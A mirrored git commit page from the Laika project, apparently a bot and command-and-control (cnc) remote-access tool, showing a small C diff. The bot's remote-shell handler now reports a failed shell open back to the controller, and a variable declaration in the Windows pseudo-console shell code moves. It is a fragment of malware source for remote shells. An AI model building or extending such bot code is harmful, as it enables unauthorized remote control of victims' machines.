mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-21 20:40:05 +00:00
Bot: Minor refactoring, tell cnc if failed to open shell
This commit is contained in:
parent
c3c42e298f
commit
e80f007df9
@ -20,8 +20,9 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
|||||||
laikaS_readInt(&peer->sock, &cols, sizeof(uint16_t));
|
laikaS_readInt(&peer->sock, &cols, sizeof(uint16_t));
|
||||||
laikaS_readInt(&peer->sock, &rows, sizeof(uint16_t));
|
laikaS_readInt(&peer->sock, &rows, sizeof(uint16_t));
|
||||||
|
|
||||||
/* open shell */
|
/* open shell & if we failed, tell cnc */
|
||||||
bot->shell = laikaB_newShell(bot, cols, rows);
|
if ((bot->shell = laikaB_newShell(bot, cols, rows)) == NULL)
|
||||||
|
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||||
|
@ -79,9 +79,9 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
|
|||||||
|
|
||||||
|
|
||||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {;
|
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {;
|
||||||
HRESULT hr;
|
|
||||||
TCHAR szComspec[MAX_PATH];
|
TCHAR szComspec[MAX_PATH];
|
||||||
struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
|
struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
|
||||||
|
HRESULT hr;
|
||||||
|
|
||||||
ZeroMemory(shell, sizeof(struct sLaika_shell));
|
ZeroMemory(shell, sizeof(struct sLaika_shell));
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user